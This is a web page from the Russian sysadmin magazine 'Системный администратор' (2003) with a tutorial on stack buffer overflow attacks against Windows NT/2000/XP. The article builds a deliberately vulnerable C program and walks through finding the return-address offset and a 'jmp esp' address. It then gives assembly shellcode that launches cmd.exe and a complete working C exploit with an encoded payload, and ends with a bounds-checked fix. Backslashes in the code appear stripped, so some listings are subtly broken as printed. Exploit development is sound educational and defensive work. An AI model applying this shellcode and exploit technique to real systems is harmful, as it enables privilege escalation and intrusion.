Переполнение буфера в Windows NT/2000/XP::Журнал СА 8.2003
www.samag.ru
     
Поиск   
              
 www.samag.ru    Web  0 товаров , сумма 0 руб.
E-mail
Пароль  
 Запомнить меня
Регистрация | Забыли пароль?
Журнал "Системный администратор"
Журнал «БИТ»
Подписка
Архив номеров
Где купить
Наука и технологии
Авторам
Рекламодателям
Контакты
   

  Опросы
  Статьи

Событие  

В банке рассола ждет сисадмина с полей фрактал-кукумбер

Читайте впечатления о слете ДСА 2024, рассказанные волонтером и участником слета

 Читать далее...

Организация бесперебойной работы  

Бесперебойная работа ИТ-инфраструктуры в режиме 24/7 Как обеспечить ее в нынешних условиях?

Год назад ИТ-компания «Крок» провела исследование «Ключевые тренды сервисного рынка 2023». Результаты

 Читать далее...

Книжная полка  

Читайте и познавайте мир технологий!

Издательство «БХВ» продолжает радовать выпуском интересных и полезных, к тому же прекрасно

 Читать далее...

СУБД PostgreSQL  

СУБД Postgres Pro

Сертификация по новым требованиям ФСТЭК и роль администратора без доступа к данным

 Читать далее...

Критическая инфраструктура  

КИИ для оператора связи. Готовы ли компании к повышению уровня кибербезопасности?

Похоже, что провайдеры и операторы связи начали забывать о требованиях законодательства

 Читать далее...

Архитектура ПО  

Архитектурные метрики. Качество архитектуры и способность системы к эволюционированию

Обычно соответствие программного продукта требованиям мы проверяем через скоуп вполне себе понятных

 Читать далее...

Как хорошо вы это знаете  

Что вам известно о разработках компании ARinteg?

Компания ARinteg (ООО «АРинтег») – системный интегратор на российском рынке ИБ –

 Читать далее...

Графические редакторы  

Рисование абстрактных гор в стиле Paper Cut

Векторный графический редактор Inkscape – яркий представитель той прослойки open source, с

 Читать далее...

День сисадмина  

Учите матчасть! Или как стать системным администратором

Лето – время не только отпусков, но и хорошая возможность определиться с профессией

 Читать далее...

День сисадмина  

Живой айтишник – это всегда движение. Остановка смерти подобна

Наши авторы рассказывают о своем опыте и дают советы начинающим системным администраторам.

 Читать далее...

Виртуализация  

Рынок решений для виртуализации

По данным «Обзора российского рынка инфраструктурного ПО и перспектив его развития», сделанного

 Читать далее...

Книжная полка  

Как стать креативным и востребованным

Издательский дом «Питер» предлагает новинки компьютерной литературы, а также книги по бизнесу

 Читать далее...

Книжная полка  

От создания сайтов до разработки и реализации API

В издательстве «БХВ» недавно вышли книги, которые будут интересны системным администраторам, создателям

 Читать далее...

Разбор полетов  

Ошибок опыт трудный

Как часто мы легко повторяем, что не надо бояться совершать ошибки, мол,

 Читать далее...

1001 и 1 книга  
19.03.2018г.
Просмотров: 6124
Комментарии: 0
Машинное обучение с использованием библиотеки Н2О

 Читать далее...

12.03.2018г.
Просмотров: 6832
Комментарии: 0
Особенности киберпреступлений в России: инструменты нападения и защита информации

 Читать далее...

12.03.2018г.
Просмотров: 4117
Комментарии: 0
Глубокое обучение с точки зрения практика

 Читать далее...

12.03.2018г.
Просмотров: 2969
Комментарии: 0
Изучаем pandas

 Читать далее...

12.03.2018г.
Просмотров: 3774
Комментарии: 0
Программирование на языке Rust (Цветное издание)

 Читать далее...

19.12.2017г.
Просмотров: 3782
Комментарии: 0
Глубокое обучение

 Читать далее...

19.12.2017г.
Просмотров: 6271
Комментарии: 0
Анализ социальных медиа на Python

 Читать далее...

19.12.2017г.
Просмотров: 3126
Комментарии: 0
Основы блокчейна

 Читать далее...

19.12.2017г.
Просмотров: 3426
Комментарии: 0
Java 9. Полный обзор нововведений

 Читать далее...

16.02.2017г.
Просмотров: 7241
Комментарии: 0
Опоздавших не бывает, или книга о стеке

 Читать далее...

17.05.2016г.
Просмотров: 10609
Комментарии: 0
Теория вычислений для программистов

 Читать далее...

30.03.2015г.
Просмотров: 12330
Комментарии: 0
От математики к обобщенному программированию

 Читать далее...

18.02.2014г.
Просмотров: 13962
Комментарии: 0
Рецензия на книгу «Читаем Тьюринга»

 Читать далее...

13.02.2014г.
Просмотров: 9093
Комментарии: 0
Читайте, размышляйте, действуйте

 Читать далее...

12.02.2014г.
Просмотров: 7047
Комментарии: 0
Рисуем наши мысли

 Читать далее...

10.02.2014г.
Просмотров: 5355
Комментарии: 3
Страна в цифрах

 Читать далее...

18.12.2013г.
Просмотров: 4585
Комментарии: 0
Большие данные меняют нашу жизнь

 Читать далее...

18.12.2013г.
Просмотров: 3396
Комментарии: 0
Компьютерные технологии – корень зла для точки роста

 Читать далее...

04.12.2013г.
Просмотров: 3122
Комментарии: 0
Паутина в облаках

 Читать далее...

03.12.2013г.
Просмотров: 3376
Комментарии: 0
Рецензия на книгу «MongoDB в действии»

 Читать далее...

02.12.2013г.
Просмотров: 2996
Комментарии: 0
Не думай о минутах свысока

 Читать далее...

Друзья сайта  

 Переполнение буфера в Windows NT/2000/XP

Архив номеров / 2003 / Выпуск №8 (9) / Переполнение буфера в Windows NT/2000/XP

Рубрика: Безопасность /  Тестирование

СТАНИСЛАВ ГОШКО

Переполнение буфера в Windows NT/2000/XP

Пусть что угодно говорят поклонники *nix-систем, но защита в последних версиях операционных систем семейства Windows сделала громадный скачок вперёд. И так как языки C и C++ очень распространены и на платформах Windows, то атаки на переполнение буфера стали реальной угрозой безопасности. Атаки такого типа известны уже очень давно, со времен операции «Полуденный бес», которая проводилась в США, начиная с мая 1990 года, и была направлена против хакеров. Её проводила «Секретная Служба». Переполнение буфера, правда, на операционные системы семейства *nix использовалось хакерами по полной программе. Но реальная угроза данных атак на операционные системы семейства Windows появилась гораздо позднее, в 1995-2002 годах.

Смысл атак на переполнение буфера заключается в том, что существуют программы, запущенные с большими привилегиями, чем у пользователя, и благодаря переполнению буфера для пользователя стало возможно получить эти привилегии (уязвимой программы).

Мы рассмотрим одну из самых распространённых атак на переполнение буфера. Это так называемая атака на «срыв стека». В большинстве своём данные атаки возможны во многих программах, написанных на языках программирования C или C++.

Поэтому мы рассмотрим пример уязвимой программы, а также разработаем для неё эксплоит (программу, которая реализует данную уязвимость).

Начнём с разработки простой программы, содержащей данную уязвимость:

#include

#include

void vuln_func(char *stroka)

{

    char buffer[100];

    // буфер

    lstrcpyA(buffer,stroka);

    // функция, в результате вызывающая переполнение буфера

}

void main (int argc, char *argv[])

{

    vuln_func(argv[1]);

    // вызов уязвимой функции

    printf("Parameter is : %s",argv[1]);

}

Откомпилируем её и выясним, что делает эта программа. Если запустить её без параметров, то она выведет следующее:

Parameter is : 0(null)

Запустим её следующим образом:

c:x-filesug.exe aaaaaaa

Тогда данная программа выведет:

Parameter is : aaaaaaa

Но если в качестве параметра передать количество «a» большее, чем 100, то данная программа просто ничего не выведет в отличие от Windows NT, которая выводила сообщение об ошибке. Поэтому реализовать атаку данного типа под операционной системой Windows XP будет несколько сложнее. Теперь давайте возьмём отладчик и посмотрим, что же происходит при вызове нашей уязвимой функции.

Будем рассматривать пошагово:

  • При вызове функции vuln_func в стек заносится адрес следующей инструкции (printf).
  • Рассмотрим вид стека перед вызовом функции lstrcpyA:

адрес возврата

переменная buff

  • Рассмотрим вид стека после вызова функции lstrcpyA:

"aaaaaaaaaaaaaaaaaaaa"

0x61616161

переменная buff

Так как наша переменная росла к адресу возврата, и когда ей стало не хватать места, она молча и без вопросов переписала адрес возврата нашими любимыми буквами «aaaaaaaa...». Раз мы можем переписать адрес возврата, значит, мы можем и заставить нашу программу выполнять наш код.

Для этого вместо букв «a» мы будем использовать символ с кодом 90 («x90»), что означает инструкцию ассемблера nop (задержка процессора на один такт). Также нам необходимо точно определить, какими байтами (по счёту) перезаписывается адрес возврата, чтобы мы знали, куда записывать наш новый адрес возврата.

Обычно это делается методом «грубой силы», а потом по сообщению об ошибке определяются байты, по которым был совершён переход. Но данный метод в нашем случае не уместен, т.к. в Windows XP сообщение об ошибке не вываливается. Поэтому нам придётся вручную при помощи отладчика подсчитывать, какие по счёту nop перетёрли адрес возврата, это несложно и нетрудоёмко, т.к. в стеке все приравнивается к двойному слову (4 байта). В нашем случае это оказались 4 байта, начиная со 104.

Теперь, когда мы знаем, какими байтами перетирается адрес возврата, мы должны подменить его таким образом, чтобы он передал управление нашему коду, а если быть более точным, то он должен передать управление на наши nop. Реально очень удобно просто передать управление в отладчике на наши инструкции, но если это удалённое переполнение буфера или у вас нет под рукой отладчика? При помощи прямой подмены адреса на наш вычисленный адрес стека не получится, потому что адрес стека начинается с нуля, а наш код не должен состоять из нулей.

Поэтому оптимальным вариантом будет обнаружить в памяти используемых программой библиотек или в памяти самой программы обнаружить байты, соответствующие инструкции «jmp esp» - ff e4. В статье Андрея Колищака (1) предлагался вариант использования инструкции «call esp», но с этим вариантом я должен не согласиться, так как при переходе на эту инструкцию с последующим её исполнением мы перетираем байты, находящиеся по адресу esp, т.е. мы сами себе портим жизнь (при переходе на esp нам будет очень сложно запустить наш код). Поэтому оптимальным вариантом будет поиск в памяти байт «ff e4». В результате поиска мы обнаружили данные байты в библиотеке USER32.dll и запомнили адрес (в каждой версии операционной системы он может быть отличным).

Теперь мы должны заняться формированием shell-кода – это будет строка Command Promt. Реально мы должны запустить программу cmd.exe. Чтобы не морочить вам голову «кривыми» аналогами данной программы на C, начнём её писать сразу на ассемблере, но перед этим мы должны кое в чём разобраться.

  • Наш эксплоит будет зависеть от USER32.dll, что означает на других версиях операционной системы Windows XP, по всей видимости, он работать не будет.
  • Исходя из предыдущего пункта, мы видим, что не имеет смысла встраивать в наш shell-код обнаружение адреса ядра и функции GetProcAddress.

Поэтому для экономии места мы в эксплоите жёстко зафиксируем адрес нужной нам функции WinExec.

Аналог того, что будет делать наш эксплоит на С, будет выглядеть примерно так:

#include

void main()

{

    WinExec("cmd.exe",1);

}

Для определения адресов функций, которые необходимы для корректной работы эксплоита, напишем ещё одну маленькую программу.

#include "windows.h"

#include "stdio.h"

main(int argc, char *argv[])

{

    // Данные, необходимые для работы программы

    HMODULE hnd1;

    FARPROC a;

    char  *name1;

    char *modul1; 

    // Вывод сообщения об использовании утилиты

    printf("Usage GETADDR ");

    if (argc < 3)

    {

    // Если запущены без параметров, то выведем адреса

    // KERNEL32 и WIN API функции GetProcAddress

           name1="GetProcAddress";

           modul1="KERNEL32";

    }

    else

    // Если запущены с параметрами, то выведем по запросу

    // пользователя    

    {

         name1=argv[2];

         modul1=argv[1];

    }

    // Получаем адрес модуля

    hnd1=GetModuleHandle(modul1);

    // Получаем адрес WIN API функции

    a=GetProcAddress(hnd1,name1);

    // Выводим оба адреса

    printf("Module=[%s] Address=%xh ",modul1,hnd1);

    printf("Function=[%s] Address=%xh ",name1,a);

    // Выход из программы

    return(0);

}

При помощи данной программы мы должны определить адреса следующих WIN API-функций:

  • WinExec
  • ExitProcess

Данные функции находятся в ядре (kernel32.dll).

Вот теперь мы готовы перейти к разработке shell-кода на ассемблере. Наш shell-код не будет использовать шифрование текстовых строк, так как в нём будет только одна текстовая строка с финальным нулём, так же мы не должны использовать в тексте кода нулей, опять же из-за особенностей стека.

Рассмотрим листинг:

.386                           

.model flat, stdcall                                         

extrn ExitProcess:proc                                                               

.data                         

start:           

;---------------[ SUPA SHELL CODE]------------------------

nach:

           push   1            ; Параметр для вызова WinExec

           mov    esi,esp             ; Устанавливаем esi на стек

try:                           ;

           lodsd               ; Ищем текстовую строку

           cmp    eax,012345678h      ; с именем программы

           jne    try          ;

 

           push   esi          ; Нашли, положим, смещение

                               ; в стек

           mov    eax,77e684c6h ; Кладем в eax адрес функции

           call   eax          ; Вызываем WinExec -> cmd.exe

 

           nop                 ; Эти nop для выравнивания

           nop                 ; на границу двойного слова

 

           xor    eax,eax             ; Обнуляем eax

           push   eax          ; Кладем 0 в стек (параметр)

           mov    eax,77e75cb5h ; Кладем в eax адрес функции

           call   eax          ; Call ExitProcess

name1:

           dd     012345678h   ; "Метка" имени программы

           db     "cmd.exe",0  ; Имя программы

kon:

;---------------------------------------------------------

.code

           nop                 ;           

end start                                 

end 

Теперь, после всех этих изнурительных подготовительных действий, мы готовы написать эксплоит, использующий уязвимость в нашей программе.

Переходим к листингу эксплоита:

#include

#include 

void main (int argc, char *argv[])

{

char *shell1=

"x6ax01x8bxf4xadx3dx78x56x34x12x75xf8x56xb8xc6x84"

"xe6x77xffxd0x90x90x33xc0x50xb8xb5x5cxe7x77xffxd0"

"x78x56x34x12x63x6dx64x2ex65x78x65";

char mass[152];

char buff[160]="BUG.EXE ";

// n0p"s

memset(mass,"x90",104);

// n0p"s + jmp esp

strcat(mass,"x4ax75xd7x77");

// n0p"s + jmp esp + shell_c0de

strcat(mass,shell1);   

//  file_name + n0p"s + jmp esp + shell_c0de

strcat(buff,mass);

WinExec(buff,1);

}

В начале данного эксплоита идёт описание переменных, и в том числе там есть наш shell-код и имя уязвимого файла. Далее мы формируем строку:

  • Кладем туда 104 nop (на самом деле туда можно положить всё что душе угодно, так как управление будет передаваться всё равно за адрес возврата);
  • Затем в эту строку добавляем адрес инструкции «jmp esp»;
  • И только после этого адреса в строку помещаем наш shell-код;
  • В переменную buff к имени файла добавляется наша строка с nop с новым адресом возврата и с shell-кодом.

После того как строка запуска программы передаётся в функцию WinExec, мы получаем нашу долгожданную и любимую консоль.

Реально наша программа была запущена примерно следующим образом:

c:x-filesug.exe PPPPPPPPPPPPPPPP...РР[new_addr][shell_c0de]

Где new_addr – это новый адрес возврата, а shell_c0de – это наш shell-код.

В завершении статьи необходимо сказать, что существует возможность поиска адреса ядра в памяти, но в данном случае это неуместно, так как эксплоит получился зависимым от версии операционной системы. Вот если бы мы необходимую нам как воздух инструкцию (jmp esp) обнаружили в самой программе, то это было бы просто необходимо, и тогда бы наш эксплоит получился независимым от операционной системы.

Существует возможность «сбрасывания» не только локальной консоли, но и удалённой. Shell-код для такого рода backdoor был написан неким dark spyrit и опубликован в журнале «Phrack».

Стоит перечислить несколько уязвимых функций:

  • strcpy
  • strcat

И их аналоги, адаптированные под Windows-системы:

  • lstrcpyA
  • lstrcatA

Атаки данного типа представляют серьёзную угрозу. Для того чтобы от них защититься, всегда необходимо проверять, чтобы размер приёмника был больше того, что в него помещается. Для примера мы исправим нашу уязвимую программу. Так, чтобы она не была подвержена данной атаке.

Перейдём к листингу:

#include

#include

void vuln_func(char *stroka)

{

           char buffer[100];   // буфер

    if (sizeof(buffer)>strlen(stroka))      // !!!!!!!!!!!!!!!!

    // функция в результате вызывающая переполнение буфера

           lstrcpyA(buffer,stroka);  

}

void main (int argc, char *argv[])

{

    vuln_func(argv[1]); // вызов уязвимой функции

    printf("Parameter is : %s",argv[1]);

}

Строка, отмеченная восклицательными знаками, проверяет соответствие размеров строк, что предотвращает возможность переполнения буфера в данной программе.

Таким образом, мы рассмотрели одну из самых распространённых хакерских атак в применении к Windows XP, а также возможности её предотвращения.

При написании статьи использовались материалы:

  1. «Атаки на переполнение стека в Windows NT» – http://hackzone.ru/articles/ntbo.html
  2. «Smashing The Stack For Fun And Profit» by Aleph1 – www.phrack.or

Комментарии отсутствуют

Добавить комментарий

Комментарии могут оставлять только зарегистрированные пользователи

               Copyright © Системный администратор

Яндекс.Метрика
Tel.: (499) 277-12-45
E-mail: sa@samag.ru